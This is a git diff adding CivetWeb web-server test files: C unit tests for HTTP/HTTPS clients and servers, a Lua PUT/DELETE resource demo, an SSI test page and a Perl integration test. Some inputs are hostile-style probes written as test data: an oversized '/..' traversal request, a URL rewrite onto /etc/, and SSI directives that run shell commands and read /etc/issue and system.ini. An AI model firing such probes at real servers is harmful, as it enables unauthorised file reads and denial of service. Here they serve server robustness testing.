sizeof(client_data_buf)); + + client = + mg_download("127.0.0.1", +#if defined(NO_SSL) + 8080, + 0, +#else + 8443, + 1, +#endif + client_err_buf, + sizeof(client_err_buf), + "GET /file_in_mem HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"); + + ck_assert(client != NULL); + ck_assert_str_eq(client_err_buf, ""); + + client_ri = mg_get_request_info(client); + + ck_assert(client_ri != NULL); + ck_assert_str_eq(client_ri->local_uri, "200"); + + ck_assert_int_eq(client_ri->content_length, FILE_IN_MEM_SIZE); + + data_read = 0; + while (data_read < client_ri->content_length) { + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + if (r > 0) { + for (i = 0; i < r; i++) { + ck_assert_int_eq((int)client_data_buf[i], + (int)file_in_mem_data[data_read + i]); + } + data_read += r; + } + } + + /* Nothing left to read */ + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + ck_assert_int_eq(r, 0); + + /* Close the client connection */ + mg_close_connection(client); + + /* Stop the server */ + test_mg_stop(ctx); + + /* Free test data */ + free(file_in_mem_data); + file_in_mem_data = NULL; +} +END_TEST + +#else /* defined(MG_USE_OPEN_FILE) */ + +START_TEST(test_file_in_memory) +{ + mark_point(); +} +END_TEST + +#endif + + +static void +minimal_http_https_client_impl(const char *server, + uint16_t port, + int use_ssl, + const char *uri) +{ + /* Client var */ + struct mg_connection *client; + char client_err_buf[256]; + char client_data_buf[256]; + const struct mg_request_info *client_ri; + int64_t data_read; + int r; + + mark_point(); + + client = mg_connect_client( + server, port, use_ssl, client_err_buf, sizeof(client_err_buf)); + + ck_assert_str_eq(client_err_buf, ""); + ck_assert(client != NULL); + + mg_printf(client, "GET /%s HTTP/1.0\r\n\r\n", uri); + + r = mg_get_response(client, client_err_buf, sizeof(client_err_buf), 10000); + ck_assert_int_ge(r, 0); + ck_assert_str_eq(client_err_buf, ""); + + client_ri = mg_get_request_info(client); + ck_assert(client_ri != NULL); + + /* e.g.: ck_assert_str_eq(client_ri->request_uri, "200"); */ + ck_assert_ptr_ne(client_ri->request_uri, NULL); + r = (int)strlen(client_ri->request_uri); + ck_assert_int_eq(r, 3); + + data_read = 0; + while (data_read < client_ri->content_length) { + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + if (r > 0) { + data_read += r; + } + } + + /* Nothing left to read */ + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + ck_assert_int_eq(r, 0); + + mark_point(); + + mg_close_connection(client); + + mark_point(); +} + + +static void +minimal_http_client_impl(const char *server, uint16_t port, const char *uri) +{ + minimal_http_https_client_impl(server, port, 0, uri); +} + + +#if !defined(NO_SSL) +static void +minimal_https_client_impl(const char *server, uint16_t port, const char *uri) +{ + minimal_http_https_client_impl(server, port, 1, uri); +} +#endif + + +START_TEST(test_minimal_client) +{ + mark_point(); + + /* Initialize the library */ + mg_init_library(0); + + mark_point(); + + /* Call a test client */ + minimal_http_client_impl("192.30.253.113" /* www.github.com */, + 80, + "civetweb/civetweb/"); + + mark_point(); + + /* Un-initialize the library */ + mg_exit_library(); + + mark_point(); +} +END_TEST + + +static int +minimal_test_request_handler(struct mg_connection *conn, void *cbdata) +{ + const char *msg = (const char *)cbdata; + unsigned long len = (unsigned long)strlen(msg); + + mark_point(); + + mg_printf(conn, + "HTTP/1.1 200 OK\r\n" + "Content-Length: %lu\r\n" + "Content-Type: text/plain\r\n" + "Connection: close\r\n\r\n", + len); + + mg_write(conn, msg, len); + + mark_point(); + + return 200; +} + + +START_TEST(test_minimal_http_server_callback) +{ + /* This test should ensure the minimum server example in + * docs/Embedding.md is still running. */ + + /* Server context handle */ + struct mg_context *ctx; + + mark_point(); + + /* Initialize the library */ + mg_init_library(0); + + /* Start the server */ + ctx = test_mg_start(NULL, 0, NULL); + ck_assert(ctx != NULL); + + /* Add some handler */ + mg_set_request_handler(ctx, + "/hello", + minimal_test_request_handler, + (void *)"Hello world"); + mg_set_request_handler(ctx, + "/8", + minimal_test_request_handler, + (void *)"Number eight"); + + /* Run the server for 15 seconds */ + test_sleep(10); + + /* Call a test client */ + minimal_http_client_impl("127.0.0.1", 8080, "/hello"); + + /* Run the server for 15 seconds */ + test_sleep(5); + + + /* Stop the server */ + test_mg_stop(ctx); + + /* Un-initialize the library */ + mg_exit_library(); + + mark_point(); +} +END_TEST + + +START_TEST(test_minimal_https_server_callback) +{ +#if !defined(NO_SSL) + /* This test should show a HTTPS server with enhanced + * security settings. + * + * Articles: + * https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers/ + * + * Scanners: + * https://securityheaders.io/ + * https://www.htbridge.com/ssl/ + * https://www.htbridge.com/websec/ + * https://www.ssllabs.com/ssltest/ + * https://www.qualys.com/forms/freescan/ + */ + + /* Server context handle */ + struct mg_context *ctx; + + /* Server start parameters for HTTPS */ + const char *OPTIONS[32]; + int opt_idx = 0; + + /* HTTPS port - required */ + OPTIONS[opt_idx++] = "listening_ports"; + OPTIONS[opt_idx++] = "8443s"; + + /* path to certificate file - required */ + OPTIONS[opt_idx++] = "ssl_certificate"; + OPTIONS[opt_idx++] = locate_ssl_cert(); + +#if defined(LOCAL_TEST) || defined(_WIN32) + /* Do not set this on Travis CI, since the build containers + * contain older SSL libraries */ + + /* set minimum SSL version to TLS 1.2 - recommended */ + OPTIONS[opt_idx++] = "ssl_protocol_version"; + OPTIONS[opt_idx++] = "4"; + + /* set some modern ciphers - recommended */ + OPTIONS[opt_idx++] = "ssl_cipher_list"; + OPTIONS[opt_idx++] = "ECDH+AESGCM+AES256:!aNULL:!MD5:!DSS"; +#endif + + /* set "HTTPS only" header - recommended */ + OPTIONS[opt_idx++] = "strict_transport_security_max_age"; + OPTIONS[opt_idx++] = "31622400"; + + /* end of options - required */ + OPTIONS[opt_idx] = NULL; + + mark_point(); + + /* Initialize the library */ + mg_init_library(0); + + + /* Start the server */ + ctx = test_mg_start(NULL, 0, OPTIONS); + ck_assert(ctx != NULL); + + /* Add some handler */ + mg_set_request_handler(ctx, + "/hello", + minimal_test_request_handler, + (void *)"Hello world"); + mg_set_request_handler(ctx, + "/8", + minimal_test_request_handler, + (void *)"Number eight"); + + /* Run the server for 15 seconds */ + test_sleep(10); + + /* Call a test client */ + minimal_https_client_impl("127.0.0.1", 8443, "/hello"); + + /* Run the server for 15 seconds */ + test_sleep(5); + + + /* Stop the server */ + test_mg_stop(ctx); + + /* Un-initialize the library */ + mg_exit_library(); +#endif + mark_point(); +} +END_TEST + + +#if !defined(REPLACE_CHECK_FOR_LOCAL_DEBUGGING) +Suite * +make_public_server_suite(void) +{ + Suite *const suite = suite_create("PublicServer"); + + TCase *const tcase_checktestenv = tcase_create("Check test environment"); + TCase *const tcase_initlib = tcase_create("Init library"); + TCase *const tcase_startthreads = tcase_create("Start threads"); + TCase *const tcase_minimal_svr = tcase_create("Minimal Server"); + TCase *const tcase_minimal_cli = tcase_create("Minimal Client"); + TCase *const tcase_startstophttp = tcase_create("Start Stop HTTP Server"); + TCase *const tcase_startstophttp_ipv6 = + tcase_create("Start Stop HTTP Server IPv6"); + TCase *const tcase_startstophttps = tcase_create("Start Stop HTTPS Server"); + TCase *const tcase_serverandclienttls = tcase_create("TLS Server Client"); + TCase *const tcase_serverrequests = tcase_create("Server Requests"); + TCase *const tcase_storebody = tcase_create("Store Body"); + TCase *const tcase_handle_form = tcase_create("Handle Form"); + TCase *const tcase_http_auth = tcase_create("HTTP Authentication"); + TCase *const tcase_keep_alive = tcase_create("HTTP Keep Alive"); + TCase *const tcase_error_handling = tcase_create("Error handling"); + TCase *const tcase_throttle = tcase_create("Limit speed"); + TCase *const tcase_large_file = tcase_create("Large file"); + TCase *const tcase_file_in_mem = tcase_create("File in memory"); + + + tcase_add_test(tcase_checktestenv, test_the_test_environment); + tcase_set_timeout(tcase_checktestenv, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_checktestenv); + + tcase_add_test(tcase_initlib, test_init_library); + tcase_set_timeout(tcase_initlib, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_initlib); + + tcase_add_test(tcase_startthreads, test_threading); + tcase_set_timeout(tcase_startthreads, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_startthreads); + + tcase_add_test(tcase_minimal_svr, test_minimal_http_server_callback); + tcase_add_test(tcase_minimal_svr, test_minimal_https_server_callback); + tcase_set_timeout(tcase_minimal_svr, civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_minimal_svr); + + tcase_add_test(tcase_minimal_cli, test_minimal_client); + tcase_set_timeout(tcase_minimal_cli, civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_minimal_cli); + + tcase_add_test(tcase_startstophttp, test_mg_start_stop_http_server); + tcase_set_timeout(tcase_startstophttp, civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_startstophttp); + + tcase_add_test(tcase_startstophttp_ipv6, + test_mg_start_stop_http_server_ipv6); + tcase_set_timeout(tcase_startstophttp_ipv6, + civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_startstophttp_ipv6); + + tcase_add_test(tcase_startstophttps, test_mg_start_stop_https_server); + tcase_set_timeout(tcase_startstophttps, civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_startstophttps); + + tcase_add_test(tcase_serverandclienttls, test_mg_server_and_client_tls); + tcase_set_timeout(tcase_serverandclienttls, + civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_serverandclienttls); + + tcase_add_test(tcase_serverrequests, test_request_handlers); + tcase_set_timeout(tcase_serverrequests, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_serverrequests); + + tcase_add_test(tcase_storebody, test_mg_store_body); + tcase_set_timeout(tcase_storebody, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_storebody); + + tcase_add_test(tcase_handle_form, test_handle_form); + tcase_set_timeout(tcase_handle_form, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_handle_form); + + tcase_add_test(tcase_http_auth, test_http_auth); + tcase_set_timeout(tcase_http_auth, civetweb_min_server_test_timeout); + suite_add_tcase(suite, tcase_http_auth); + + tcase_add_test(tcase_keep_alive, test_keep_alive); + tcase_set_timeout(tcase_keep_alive, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_keep_alive); + + tcase_add_test(tcase_error_handling, test_error_handling); + tcase_add_test(tcase_error_handling, test_error_log_file); + tcase_set_timeout(tcase_error_handling, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_error_handling); + + tcase_add_test(tcase_throttle, test_throttle); + tcase_set_timeout(tcase_throttle, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_throttle); + + tcase_add_test(tcase_large_file, test_large_file); + tcase_set_timeout(tcase_large_file, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_large_file); + + tcase_add_test(tcase_file_in_mem, test_file_in_memory); + tcase_set_timeout(tcase_file_in_mem, civetweb_mid_server_test_timeout); + suite_add_tcase(suite, tcase_file_in_mem); + + return suite; +} +#endif + + +#ifdef REPLACE_CHECK_FOR_LOCAL_DEBUGGING +/* Used to debug test cases without using the check framework */ +/* Build command for Linux: +gcc test/public_server.c src/civetweb.c -I include/ -I test/ -l pthread -l dl -D +LOCAL_TEST -D REPLACE_CHECK_FOR_LOCAL_DEBUGGING -D MAIN_PUBLIC_SERVER=main +*/ + +static int chk_ok = 0; +static int chk_failed = 0; + + +void +MAIN_PUBLIC_SERVER(void) +{ + unsigned f_avail = mg_check_feature(0xFF); + unsigned f_ret = mg_init_library(f_avail); + ck_assert_uint_eq(f_ret, f_avail); + + test_the_test_environment(0); + test_threading(0); + + test_minimal_client(0); + + test_mg_start_stop_http_server(0); + test_mg_start_stop_https_server(0); + test_request_handlers(0); + test_mg_store_body(0); + test_mg_server_and_client_tls(0); + test_handle_form(0); + test_http_auth(0); + test_keep_alive(0); + test_error_handling(0); + test_error_log_file(0); + test_throttle(0); + test_large_file(0); + test_file_in_memory(0); + + mg_exit_library(); + + printf("\nok: %i\nfailed: %i\n\n", chk_ok, chk_failed); +} + +void +_ck_assert_failed(const char *file, int line, const char *expr, ...) +{ + va_list va; + va_start(va, expr); + fprintf(stderr, "Error: %s, line %i\n", file, line); /* breakpoint here ! */ + vfprintf(stderr, expr, va); + fprintf(stderr, "\n\n"); + va_end(va); + chk_failed++; +} + +void +_ck_assert_msg(int cond, const char *file, int line, const char *expr, ...) +{ + va_list va; + + if (cond) { + chk_ok++; + return; + } + + va_start(va, expr); + fprintf(stderr, "Error: %s, line %i\n", file, line); /* breakpoint here ! */ + vfprintf(stderr, expr, va); + fprintf(stderr, "\n\n"); + va_end(va); + chk_failed++; +} + +void +_mark_point(const char *file, int line) +{ + chk_ok++; +} + +void +tcase_fn_start(const char *fname, const char *file, int line) +{ +} +void suite_add_tcase(Suite *s, TCase *tc){}; +void _tcase_add_test(TCase *tc, + TFun tf, + const char *fname, + int _signal, + int allowed_exit_value, + int start, + int end){}; +TCase * +tcase_create(const char *name) +{ + return NULL; +}; +Suite * +suite_create(const char *name) +{ + return NULL; +}; +void tcase_set_timeout(TCase *tc, double timeout){}; + +#endif diff --git a/src/civetweb/test/public_server.h b/src/civetweb/test/public_server.h new file mode 100644 index 000000000..c3e0d8e8d --- /dev/null +++ b/src/civetweb/test/public_server.h @@ -0,0 +1,28 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_PUBLIC_SERVER_H_ +#define TEST_PUBLIC_SERVER_H_ + +#include "civetweb_check.h" + +Suite *make_public_server_suite(void); + +#endif /* TEST_PUBLIC_H_ */ diff --git a/src/civetweb/test/require_test.lua b/src/civetweb/test/require_test.lua new file mode 100644 index 000000000..6173dfa06 --- /dev/null +++ b/src/civetweb/test/require_test.lua @@ -0,0 +1,2 @@ +require 'html_esc' +require 'HugeText' diff --git a/src/civetweb/test/resource_script_demo.lua b/src/civetweb/test/resource_script_demo.lua new file mode 100644 index 000000000..e21e4654c --- /dev/null +++ b/src/civetweb/test/resource_script_demo.lua @@ -0,0 +1,124 @@ +-- This is a Lua script that handles sub-resources, e.g. resource_script_demo.lua/path/file.ext + +scriptUri = "resource_script_demo.lua" +envVar = "resource_script_demo_storage" + +resourcedir = os.getenv(envVar) or "R:\\RESOURCEDIR" +method = mg.request_info.request_method:upper() + +if resourcedir then + attr = lfs.attributes(resourcedir) +end + +if (not mg.request_info.uri:find(scriptUri)) or (not resourcedir) or (not attr) or (attr.mode~="directory") then + mg.write("HTTP/1.0 500 OK\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write("Civetweb Lua script resource handling test\r\n") + mg.write("\r\nServer error.
    \r\n") + mg.write("The server admin must make sure this script is available as URI " .. scriptUri .. "
    \r\n") + mg.write("The server admin must set the environment variable " .. envVar .. " to a directory.
    \r\n") + mg.write("\r\n\r\n") + return +end +subresource = mg.request_info.uri:match(scriptUri .. "/(.*)") + +if not subresource then + if method=="GET" then + mg.write("HTTP/1.0 200 OK\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write("Civetweb Lua script resource handling test\r\n") + mg.write("No resource specified.
    resourcedir is " .. resourcedir .. "\r\n") + else + mg.write("HTTP/1.0 405 Method Not Allowed\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write("Civetweb Lua script resource handling test\r\n") + mg.write("Method not allowed.\r\n") + end + return +end + + +if method=="GET" then + file = resourcedir .. "/" .. subresource + if lfs.attributes(file) then + mg.send_file(file) + else + mime = mg.get_mime_type(file) + mg.write("HTTP/1.0 404 Not Found\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write("Civetweb Lua script resource handling test\r\n") + mg.write("Resource of type \"" .. mime .. "\" not found.\r\n") + end + return +end + +if method=="PUT" then + file = resourcedir .. "/" .. subresource + mime = mg.get_mime_type(file) + if lfs.attributes(file) then + mg.write("HTTP/1.0 405 Method Not Allowed\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write("Civetweb Lua script resource handling test\r\n") + mg.write("Resource of type \"" .. mime .. "\" already exists.\r\n") + else + local f = io.open(file, "w") + + local data = {} + repeat + local l = mg.read(); + data[#data+1] = l; + until ((l == "") or (l == nil)); + + f:write(table.concat(data, "")) + f:close() + mg.write("HTTP/1.0 200 OK\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write("Civetweb Lua script resource handling test\r\n") + mg.write("Resource of type \"" .. mime .. "\" created.\r\n") + end + return +end + +if method=="DELETE" then + file = resourcedir .. "/" .. subresource + mime = mg.get_mime_type(file) + if lfs.attributes(file) then + os.remove(file) + mg.write("HTTP/1.0 200 OK\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write("Civetweb Lua script resource handling test\r\n") + mg.write("Resource of type \"" .. mime .. "\" deleted.\r\n") + else + mime = mg.get_mime_type(file) + mg.write("HTTP/1.0 404 Not Found\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write("Civetweb Lua script resource handling test\r\n") + mg.write("Resource of type \"" .. mime .. "\" not found.\r\n") + end + return +end + +-- Any other method +mg.write("HTTP/1.0 405 Method Not Allowed\r\n") +mg.write("Connection: close\r\n") +mg.write("Content-Type: text/html; charset=utf-8\r\n") +mg.write("\r\n") +mg.write("Civetweb Lua script resource handling test\r\n") +mg.write("Method not allowed.\r\n") + diff --git a/src/civetweb/test/shared.c b/src/civetweb/test/shared.c new file mode 100644 index 000000000..a35a8637e --- /dev/null +++ b/src/civetweb/test/shared.c @@ -0,0 +1,48 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#ifdef _MSC_VER +#if !defined(_CRT_SECURE_NO_WARNINGS) +#define _CRT_SECURE_NO_WARNINGS +#endif +#if !defined(_CRT_SECURE_NO_DEPRECATE) +#define _CRT_SECURE_NO_DEPRECATE +#endif +#endif + +#include "shared.h" +#include + +static char s_test_directory[1024] = {'\0'}; + +const char * +get_test_directory(void) +{ + return s_test_directory; +} + +void +set_test_directory(const char *const path) +{ + strncpy(s_test_directory, + path, + sizeof(s_test_directory) / sizeof(s_test_directory[0])); +} diff --git a/src/civetweb/test/shared.h b/src/civetweb/test/shared.h new file mode 100644 index 000000000..937fcff65 --- /dev/null +++ b/src/civetweb/test/shared.h @@ -0,0 +1,27 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_SHARED_H_ +#define TEST_SHARED_H_ + +const char *get_test_directory(void); +void set_test_directory(const char *const path); + +#endif /* TEST_SHARED_H_ */ diff --git a/src/civetweb/test/ssi_test.shtml b/src/civetweb/test/ssi_test.shtml new file mode 100644 index 000000000..eb03d171d --- /dev/null +++ b/src/civetweb/test/ssi_test.shtml @@ -0,0 +1,37 @@ + + + + + The HTML5 Herald + + + + + +

    CivetWeb Server Side Include (SSI) Test Page

    +

    Note: Some of the tests below will only work on Windows, others only on Linux, and some probably not on all Linux distributions and all Windows versions.

    + +

    Execute: "cd"

    + +

    Execute: "pwd"

    + + +

    File relative to current document: "hello.txt"

    + +

    Short form: "hello.txt"

    + + +

    File relative to document root: "hello.txt"

    + + +

    File with absolute path: "C:\Windows\system.ini"

    + +

    File with absolute path: "/etc/issue"

    + + +

    Nested file relative to current documentt: "hello.shtml"

    + + + + + diff --git a/src/civetweb/test/syntax_error.ssjs b/src/civetweb/test/syntax_error.ssjs new file mode 100644 index 000000000..d8619edd4 --- /dev/null +++ b/src/civetweb/test/syntax_error.ssjs @@ -0,0 +1,7 @@ + +conn.write('HTTP/1.0 200 OK\r\nContent-Type: text/plain\r\n\r\n'); + +conn.write('Syntax error:'); + +asdf ghjk qwert 123456789 +-*/ +.!,; diff --git a/src/civetweb/test/test.ico b/src/civetweb/test/test.ico new file mode 100644 index 000000000..70ab89d07 Binary files /dev/null and b/src/civetweb/test/test.ico differ diff --git a/src/civetweb/test/test.pl b/src/civetweb/test/test.pl new file mode 100755 index 000000000..e50348903 --- /dev/null +++ b/src/civetweb/test/test.pl @@ -0,0 +1,461 @@ +#!/usr/bin/env perl +# This script is used to test Civetweb web server + +use IO::Socket; +use File::Path; +use Cwd; +use strict; +use warnings; +#use diagnostics; + +sub on_windows { $^O =~ /win32/i; } + +my $port = 23456; +my $pid = undef; +my $num_requests; +my $dir_separator = on_windows() ? '\\' : '/'; +my $copy_cmd = on_windows() ? 'copy' : 'cp'; +my $test_dir_uri = "test_dir"; +my $root = 'test'; +my $test_dir = $root . $dir_separator. $test_dir_uri; +my $config = 'civetweb.conf'; +my $exe_ext = on_windows() ? '.exe' : ''; +my $civetweb_exe = '.' . $dir_separator . 'civetweb' . $exe_ext; +my $embed_exe = '.' . $dir_separator . 'embed' . $exe_ext; +my $unit_test_exe = '.' . $dir_separator . 'unit_test' . $exe_ext; +my $exit_code = 0; + +my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt", + "$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a", + "$root/myperl", $embed_exe, $unit_test_exe); + +END { + unlink @files_to_delete; + kill_spawned_child(); + File::Path::rmtree($test_dir); + exit $exit_code; +} + +sub fail { + print "FAILED: @_\n"; + $exit_code = 1; + exit 1; +} + +sub get_num_of_log_entries { + open FD, "access.log" or return 0; + my @lines = (); + close FD; + return scalar @lines; +} + +# Send the request to the 127.0.0.1:$port and return the reply +sub req { + my ($request, $inc, $timeout) = @_; + my $sock = IO::Socket::INET->new(Proto => 6, + PeerAddr => '127.0.0.1', PeerPort => $port); + fail("Cannot connect to http://127.0.0.1:$port : $!") unless $sock; + $sock->autoflush(1); + foreach my $byte (split //, $request) { + last unless print $sock $byte; + select undef, undef, undef, .001 if length($request) < 256; + } + my ($out, $buf) = ('', ''); + eval { + alarm $timeout if $timeout; + $out .= $buf while (sysread($sock, $buf, 1024) > 0); + alarm 0 if $timeout; + }; + close $sock; + + $num_requests += defined($inc) ? $inc : 1; + my $num_logs = get_num_of_log_entries(); + + unless ($num_requests == $num_logs) { + fail("Request has not been logged: [$request], output: [$out]"); + } + + return $out; +} + +# Send the request. Compare with the expected reply. Fail if no match +sub o { + my ($request, $expected_reply, $message, $num_logs) = @_; + print "==> $message ... "; + my $reply = req($request, $num_logs); + if ($reply =~ /$expected_reply/s) { + print "OK\n"; + } else { +#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]"); + fail("Expected: [$expected_reply], got: [$reply]"); + } +} + +# Spawn a server listening on specified port +sub spawn { + my ($cmdline) = @_; + print 'Executing: ', @_, "\n"; + if (on_windows()) { + my @args = split /\s+/, $cmdline; + my $executable = $args[0]; + Win32::Spawn($executable, $cmdline, $pid); + die "Cannot spawn @_: $!" unless $pid; + } else { + unless ($pid = fork()) { + exec $cmdline; + die "cannot exec [$cmdline]: $!\n"; + } + } + sleep 1; +} + +sub write_file { + open FD, ">$_[0]" or fail "Cannot open $_[0]: $!"; + binmode FD; + print FD $_[1]; + close FD; +} + +sub read_file { + open FD, $_[0] or fail "Cannot open $_[0]: $!"; + my @lines = ; + close FD; + return join '', @lines; +} + +sub kill_spawned_child { + if (defined($pid)) { + kill(9, $pid); + waitpid($pid, 0); + } +} + +####################################################### ENTRY POINT + +unlink @files_to_delete; +$SIG{PIPE} = 'IGNORE'; +$SIG{ALRM} = sub { die "timeout\n" }; +#local $| =1; + +# Make sure we export only symbols that start with "mg_", and keep local +# symbols static. +if ($^O =~ /darwin|bsd|linux/) { + my $out = `(cc -c src/civetweb.c && nm src/civetweb.o) | grep ' T '`; + foreach (split /\n/, $out) { + /T\s+_?mg_.+/ or fail("Exported symbol $_") + } +} + +if (scalar(@ARGV) > 0 and $ARGV[0] eq 'unit') { + do_unit_test(); + exit 0; +} + +# Make sure we load config file if no options are given. +# Command line options override config files settings +write_file($config, "access_log_file access.log\n" . + "listening_ports 127.0.0.1:12345\n"); +spawn("$civetweb_exe -listening_ports 127.0.0.1:$port"); +o("GET /test/hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file'); +unlink $config; +kill_spawned_child(); + +# Spawn the server on port $port +my $cmd = "$civetweb_exe ". + "-listening_ports 127.0.0.1:$port ". + "-access_log_file access.log ". + "-error_log_file debug.log ". + "-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " . + "-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " . + '-put_delete_auth_file test/passfile ' . + '-access_control_list -0.0.0.0/0,+127.0.0.1 ' . + "-document_root $root ". + "-hide_files_patterns **exploit.PL ". + "-enable_keep_alive yes ". + "-url_rewrite_patterns /aiased=/etc/,/ta=$test_dir"; +$cmd .= ' -cgi_interpreter perl' if on_windows(); +spawn($cmd); + +o("GET /hello.txt HTTP/1.1\nConnection: close\nRange: bytes=3-50\r\n\r\n", + 'Content-Length: 15\s', 'Range past the file end'); + +o("GET /hello.txt HTTP/1.1\n\n GET /hello.txt HTTP/1.0\n\n", + 'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close', + 'Request pipelining', 2); + +my $x = 'x=' . 'A' x (200 * 1024); +my $len = length($x); +o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x", + '^HTTP/1.1 200 OK', 'Long POST'); + +# Try to overflow: Send very long request +req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one + +o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file'); +o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n", + 'HTTP/1.1 200 OK', 'Negative content length'); +o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s', + 'GET regular file Content-Length'); +o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n", + 'HTTP/1.1 200 OK', 'URL-decoding'); + +# Break CGI reading after 1 second. We must get full output. +# Since CGI script does sleep, we sleep as well and increase request count +# manually. +my $slow_cgi_reply; +print "==> Slow CGI output ... "; +fail('Slow CGI output forward reply=', $slow_cgi_reply) unless + ($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s; +print "OK\n"; +sleep 3; +$num_requests++; + +# '+' in URI must not be URL-decoded to space +write_file("$root/a+.txt", ''); +o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in 